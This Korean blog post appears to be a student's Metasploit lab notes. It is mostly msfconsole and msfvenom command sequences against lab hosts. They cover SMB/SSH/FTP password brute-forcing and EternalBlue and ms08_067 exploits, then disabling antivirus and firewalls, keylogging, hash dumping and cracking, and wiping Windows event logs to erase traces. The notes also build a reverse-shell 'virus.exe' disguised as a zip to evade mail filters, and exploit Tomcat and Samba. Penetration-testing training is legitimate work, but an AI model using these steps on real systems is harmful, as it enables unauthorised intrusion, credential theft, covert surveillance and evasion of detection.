[메타스플로잇]


01. 특징

 - 취약점 분석, 자동화, 보안식별


02. 활용

 - 취약점 분석,진단,침투 테스트


03. 용어정리

 1) 익스플로잇(Exploit) : 시스템, 서비스 공격 방법(행위)

 2) 페이로드(Payload) : 공격 코드

 3) 모듈 : 루비(Ruby)언어의 모듈

 4) 세션 : 공격자와 공격 대상자와의 연결


04. 라이브러리/모듈


05. 모듈

 1) Exploit

 2) auxiliary : 보조 모듈

 3) Post: 2차공격

 4) Payload : 공격 코드


06. 인터페이스

 1) GUI : armitage

 2) TUI(CLI) : msfconsole

 3) msfcli

 4) msfweb

07. msfconsole 명령어

 1) help : 도움말

 2) search : 모듈 검색

 3) use : 특정 모듈 연결

 4) info : 정보 출력

 5) set : 모든 설정

 6) show : 출력

 7) exploit : 모듈 실행, 공격 명령


bind_tcp  //방화벽이 켜져있으면 안됨.
reverse_tcp //방화벽이 켜져있어도 접근 가능



[칼리리눅스]


msfdb init   //최초 한번만 실행해주면 된다.

service postgresql restart //최초 한번만 해주면 된다.

systemctl enable postgresql

db_status //db 연결

 apt-get install -y metasploit-framework zlib1g.dev libpcap-dev libsqlite-dev openssl //업데이트



/usr/share/metasploit-framework //메타스플로잇 경로

위의 경로에서 bundle install


 


msfconsole //실행



use auxiliary/scanner/smb/smb_version    // smb scan



options 

//설정할 것을 확인할 수 있음. yes로 되어있는 것은 필수로 설정해줘야함


set rhosts 192.168.232.120  //rhost로 공격대상자 ip 설정


set threads 256  //스레드 256개 즉 , 속도 빨라짐

options //확인




run 실행   //스캐닝 확인 운영체제와 사용자이름 워크그룹등 확인




nmap -T4 -sV -v 192.168.232.130   //nmap으로 포트스캐닝



back 맨 처음으로 돌아감.


use auxiliary/scanner/ssh/ssh_version  //ssh 스캔


set rhosts 192.168.232.130

run



[무작위 대입 공격]


[windows7]


use auxiliary/scanner/smb/smb_login



option //설정할 것 찾기.


set rhosts 192.168.232.120


set smbuser test


set smbpass root


run  //실행 



사전파일 생성후, 사전파일로 비번찾기  

(id는 userpass_file)

use auxiliary/scanner/smb/smb_login 

set rhosts 192.168.232.120

set username test

set pass_file /root/passwd.txt   //test비번을 사전파일에 있는 거로 찾는다.

run  //실행





[linux]

msf5 > use auxiliary/scanner/ssh/ssh_login


set rhosts 192.168.232.210

set username test


set password root


set stop_on_success true   //비밀번호를 찾으면 멈춤

run  //실행파일



사전파일 생성후, 사전파일로 비번찾기

사전파일 위치 /root/passwd.txt


set rhosts 192.168.232.210

set username test

set pass_file /root/passwd.txt   //test비번을 사전파일에 있는 거로 찾는다.

run  //실행



[ftp로 비번찾기]

난 ftp포트를 2121로 변경했기 때문에 변경까지했다.

set rport 2121

set rhosts 192.168.232.210

set username test

set pass_file /root/passwd.txt

run



id와 비번 둘다 사전파일로 찾기.


set rport 2121

set rhosts 192.168.232.210

set username test

set pass_file /root/passwd.txt

set user_file /root/id.txt

run





[취약점 코드]


 -국제 공통 코드 : CVE-2018-0123        //2018년에발생 123번째

 - MS사 : ms08-0123          




// ms17_010 == 국제 공통 코드 CVE-2017-0143



[상대방 windows 7로 직접 침투]

//ms 17년에 10번째 블루스크린을 뜨게함.

use exploit/windows/smb/ms17_010_eternalblue  


set payload windows/x64/meterpreter/bind_tcp


bind_tcp  //내가 직접 공격대상자에 컴터에 침투

set rhosts 192.168.232.120
 
set lport 443  //https 포트번호

exploit 

meterpreter > shell   //windows7 에 접속

//mkdir hi로 파일을 만듦.


//아래와 같이 생성됨.


meterpreter screenshot 입력하면 공격대상자의 화면 캡쳐됨




[쉘로 접속하는 방법]

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/shell/bind_tcp

set rhosts 192.168.232.120

set lport 443 //https 포트번호


exploit  //실행



[상대방 windows xp로 직접 침투]


use exploit /windows/smb/ms08_067_netapi 

set payload windows/meterpreter/bind_tcp

set rhosts 100.100.100.138 //공격대상자 아이피

set lport 443

exploit




meterpreter shell 입력 //원격접속



이미지와 같이 폴더가 생성됨.











[각종 명령어]
[bind_tcp]
netsh firewall set opmod=disable    //방화벽 차단

run killav    //안티바이러스 프로그램 차단

run post/windows/gather/screen_spy  //5초 간격으로 6장씩 스크린샷

스크린샷 찍은 것 숨김파일 표시해야 보임   / .msf4  /loot

run post/windows/gather/enum_applications   //공격대상자 애플리케이션 설치 확인

run post/windows/gather/enum_devices     //공격대상자 디바이스 상태 확인


run post/windows/gather/enum_services      //windows 는 서비스 linux는 데몬
svchost 
 DLL에 의해 기본적으로 실행되는 프로세스
csrss
윈도우 콘솔을 관찰하고 스레드를 생성 웜,바이러스 공격에 주로 이용

run post/windows/gather/usb_history        //usb 사용한 기록도 확인가능









windows 2008 공격

use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
set payload windows/meterpreter/bind_tcp
set rhost 192.168.232.222
set lport 443
exploit



[로그 삭제 ]           //서버라 기록중이다.
                                        //작업을 한 후, 흔적을 지워야하기 때문에 로그를 삭제한다.
시작 -> 관리도구 -> 이벤트 뷰어 
로그 구성은
수준 날짜 및 시간 원본 이벤트ID  작업 범주로 구성되어 있다.
1. getuid       //uid 획득
2. getsystem //시스템권한 획득
3. shell   //접속
4. wevtutil.exe cl "System"    //시스템 로그 삭제


5. wevtutil.exe cl "application"  //응용프로그램 로그 삭제


6. wevtutil.exe cl "Security"    //보안로그 삭제





[키로거]

2차공격이기 때문에 원격접속을 성공하고 실행해야한다.

run post/windows/capture/keylog_recorder
 //빨간 박스 저장경로
실패하면 프로세스를 탈취해야한다.

[프로세스 탈취]
1. 키로거를 걸 프로세스를 선택한다.  //메모장이나 익스플로러 크롬 등등

2. 나는 메모장을 탈취할 것이다.   
 

4 .  migrate 3500   //프로세스 번호 3500 탈취.

5.  키로거 실행
run post/windows/capture/keylog_recorder

6. 키로거를 실행한 채, 탈취한 메모장에 원하는값 입력.


7. 키로거가 된 것을 확인.





[hashdump]

hashdump 


[덤프한 해쉬 크랙]
1. crackstation.net   <-- 간단한 암호는 크랙가능.




2. 존 더 리퍼

1.hashdump로 얻은 값을 leafpad에 저장              /root/password.txt 에 저장해놨음.
2. john --show --format=NT /root/password.txt




[DB hashdump]

use auxiliary/scanner/mysql/mysql_hashdump 

set rhost 192.168.232.233
set username root
set password root
run



[DB schemadump]
use auxiliary/scanner/mysql/mysql_schemadump
set rhost 192.168.232.233
set username root
set password root
run

















[reverse_tcp]


 악성코드를 만들어야한다.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.232.100 lport=4444 -f exe > /root/virus.exe

   //lhost는 칼리리눅스의 ip   /root/virus.exe로 저장



 //테스트를 위해 직접 옮긴 것이다.


 만든 virus.exe 파일을 공격대상자 컴퓨터에 옮긴다.


exe파일은 메일에서 차단할 수 있으므로 zip으로 이름을 변경하여 보냄.   

파일확장자명 exe로 변경



//파일로 만들어서 실행해도됨.

vi reverse.rc  
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.232.100
set lport 4444
set exitonsession false
exploit -j -z    //-j와 -z  백그라운드로 실행되면서 유지

msfconsole -r reverse.rc   //만든 파일로 실행


windows7에서 아까 옮긴 바이러스 파일을 실행.


session -i 실행



sessions -i 1 로 접속


bind_tcp와 같이 접속이 된다.


bind_tcp와는 다르게 방화벽이 켜져있어도 정상 작동한다.
          



shell:startup  //부팅 시에 자동으로 실행되게함.


sysinfo //원격접속한 컴퓨터의 정보확인


  





https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

metasploitable2   //취약점 모아놓은 툴


다운받고 vmware로 오픈


login msfadmin

pass msfadmin


sudo -s 

msfadmin //root접속



[톰캣을 통해 리눅스 시스템 진입]


192.168.232.233(metasploitable2ip):8180  



[비번 찾기] 

 use auxiliary/scanner/http/tomcat_mgr_login

 set rhosts 192.168.232.233
 set rport 8180
 run

tomcat: tomcat



use exploit/multi/http/tomcat_mgr_deploy
set password tomcat
set rhosts 192.168.232.233
set rport 8180
set  httpusername tomcat
set  httppassword tomcat
set  payload java/shell/bind_tcp
exploit


ls cat 명령어 다사용 가능

cat /etc/passwd


[일반유저 권한으로 리눅스침투]

use exploit/unix/misc/distcc_exec 


set payload cmd/unix/bind_ruby

set rhosts 192.168.232.233

exploit



ctrl +z  //백그라운드 실행
sessions -i //백그라운드 세션 확인



use multi/manage/shell_to_meterpreter

sessions -l //세션번호 확인

set session 1
exploit  //진입.


 sessions -l  


sessions -i 2  //meterpreter로 접속완료. shell을 통해 원격접속



[루트 권한으로 리눅스침투]
use exploit/multi/samba/usermap_script  
//이부분만 다르다.

set payload cmd/unix/bind_ruby

set rhosts 192.168.232.233

exploit


ctrl +z  //백그라운드 실행
sessions -i //백그라운드 세션 확인

use multi/manage/shell_to_meterpreter

sessions -l //세션번호 확인


set session [] //확인한 세션번호입력
exploit  //진입.
sessions -l  //meterpreter 세션확인
sessions -i [] //확인한 세션번호 입력

shell 로 접속
whoami로 권한 확인








'System Security' 카테고리의 다른 글

웹게시판  (0) 2019.03.04
apmtools(apache)  (0) 2019.03.04
DNS서버  (0) 2019.02.27
FTP  (2) 2019.02.26
NFS(Network File System)  (0) 2019.02.25

+ Recent posts